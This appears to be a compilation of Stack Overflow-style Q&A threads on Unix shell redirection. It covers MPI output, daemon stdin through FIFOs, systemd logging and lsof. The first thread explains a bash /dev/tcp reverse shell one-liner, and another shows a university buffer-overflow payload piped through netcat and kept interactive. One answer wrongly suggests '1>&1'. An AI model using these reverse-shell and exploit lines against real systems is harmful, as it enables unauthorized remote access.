I am testing a reverse shell using the tutorial found here.
I have some question about the meaning of the commands used. The command to run on the server is the following:
/bin/bash > /dev/tcp/<IP>/<port> 0<&1 2>&1
I want to double check its meaning. Based on my understanding:
Start a bash shell
Redirect output of the shell to TCP connection <IP>:<port>
0<&1: Redirect Input from connection &1 to stdin 0
2>&1: Redirect output from stderr 2 to connection &1
Is the above correct ?
Yes, it's correct; the goal is for all three FDs -- stdin, stdout, and stderr -- to be pointing to your TCP connection.
Note that this command needs to be run in a bash compiled with /dev/tcp, which is an optional feature provided by the shell itself, not the operating system; moreover, this means that something like system(), which uses /bin/sh, typically won't work to invoke it.
For STDOUT, use 1>&1, because 2 will redirect STDERR stream.
So your command should be -
/bin/bash > /dev/tcp/<IP>/<port> 0<&1 1>&1
Related
Child processes started by mpirun redirect their output to the mpirun process, so all output ends up on one node.
Instead, I'd like each of the processes spawned by MPI to write to STDOUT on their own nodes, or to a file or named pipe.
I read the faq and tried out some things:
mpirun -host host1,host2 my_script >&1
Just redirects stdout from all hosts to stdout on the invoking node (like default). Doing
mpirun -host host1,host2 my_script
Where my_script redirects output to >&1 just captures output from processes on the invoking node.
Is there a way I can get each node to write to their local filesystems (for example) without redirecting to the invoking node's mpirun process?
Thanks.
Open MPI has the --output-file option, it is pretty close but not exactly what you are asking for.
I do not think there is a native way to achieve what you expect.
That being said, that can be easily achieved via a wrapper
For example, via the command line
mpirun --host host1,host2 sh -c 'my_script > /tmp/log.$OMPI_COMM_WORLD_RANK'
Each MPI task will redirect its stdout to /tmp/log.<id>.
An other method is to use the fork_agent
mpirun --host host1,host2 --mca orte_fork_agent /.../wrapper my_script
basically, instead of exec'ing my_script, Open MPI will exec /.../wrapper my_script and with a bit of creativity, the wrapper you have to write can do whatever you need.
Within this wrapper, you will likely want to check the following environment variables
OMPI_COMM_WORLD_SIZE
OMPI_COMM_WORLD_RANK
OMPI_COMM_WORLD_LOCAL_SIZE
OMPI_COMM_WORLD_LOCAL_RANK
I want to create a Java console application that runs as a daemon on Linux, I have created the application and the script to run the application as a background daemon. The application runs and waits for command line input.
My question:
Is it possible to pass command line input to a running daemon?
On Linux, all running processes have a special directory under /proc containing information and hooks into the process. Each subdirectory of /proc is the PID of a running process. So if you know the PID of a particular process you can get information about it. E.g.:
$ sleep 100 & ls /proc/$!
...
cmdline
...
cwd
environ
exe
fd
fdinfo
...
status
...
Of note is the fd directory, which contains all the file descriptors associated with the process. 0, 1, and 2 exist for (almost?) all processes, and 0 is the default stdin. So writing to /proc/$PID/fd/0 will write to that process' stdin.
A more robust alternative is to set up a named pipe connected to your process' stdin; then you can write to that pipe and the process will read it without needing to rely on the /proc file system.
See also Writing to stdin of background process on ServerFault.
The accepted answer above didn't quite work for me, so here's my implementation.
For context I'm running a Minecraft server on a Linux daemon managed with systemctl. I wanted to be able to send commands to stdin (StandardInput).
First, use mkfifo /home/user/server_input to create a FIFO file somewhere (also known as the 'named pipe' solution mentioned above).
[Service]
ExecStart=/usr/local/bin/minecraft.sh
StandardInput=file:/home/user/server_input
Then, in your daemon *.service file, execute the bash script that runs your server or background program and set the StandardInput directive to the FIFO file we just created.
In minecraft.sh, the following is the key command that runs the server and gets input piped into the console of the running service.
tail -f /home/user/server_input| java -Xms1024M -Xmx4096M -jar /path/to/server.jar nogui
Finally, run systemctl start your_daemon_service and to pass input commands simply use:
echo "command" > /home/user/server_input
Creds to the answers given on ServerFault
I am exploiting a buffer overflow vulnerability (for university) on a running server and I am able to redirect the process to exec a shell.
My exploit looks like this:
perl -e 'print "\xaa\xaa\..."' | nc -q0 machineAtUni 1234
So the server reads from the socket, eip will be overwritten and a shell executed. The problem is that I see some message from the shell but I can't insert anything. I think that the shell itself reads from stdin till EOF but how can I achieve that I can send commands to it (that the connection stays open and I am able to write to stdin)?
netcat's stdin is connected to the pipe, not your terminal, so it's not sending anything you type. You can do:
{ perl -e 'print "\xaa\xaa\..."'; cat; } | nc -q0 machineAtUni 1234
so that when the perl script finishes, cat will read from the terminal and write to the pipe.
I'm having trouble piping the STDOUT & STDERR to a file when running a program as a systemd service. I've tried adding the following to the .service file:
ExecStart=/apppath/appname > /filepath/filename 2>&1
But this doesn't work. The output is ending up in /var/log/messages and is viewable using journalctl but I'd like a separate file.
I've also tried setting StdOutput=tty but can't find a way of redirecting this to a file.
Any help would be appreciated.
systemd.service(5) says:
ExecStart=
Commands with their arguments that are executed when this service is started.
So, systemd runs your /apppath/appname with args >, /filepath/filename, 2>&1
Try:
ExecStart=/bin/sh -c '/apppath/appname > /filepath/filename 2>&1'
Try:
ExecStart=/usr/bin/sh -c "/apppath/appname > /filepath/filename 2>&1"
ExecStart requires the first argument to be a binary (no exceptions), and doesn't allow pipes or redirection. Therefore, use ExecStart to start a shell within which you can do all the fancy things required.
When I do
find /
on a terminal and then do on another terminal
lsof -a -d 0-2 -c fin
I see o/p listed from execution of lsof command.
But when I do
echo hi ; read -t 30 hello
hi
on the same terminal ( as find) and do (on different terminal)
lsof -a -d 0-2 -c read
I don't get any output from lsof command
Why ? Is it because read is bash built in ? Whats happening here ?
You got it right. "read" is a shell built-in. The process name remains sh (or bash, or zsh, or whatever else is your shell of choice).
Moreover, though for some shell built-ins there are binary alternatives, there isn't one for read. Really because of its syntax, it takes in the name of a shell variable that gets assigned the result of reading from the stdin. If it was an external program, it could never set the variable in the calling shell.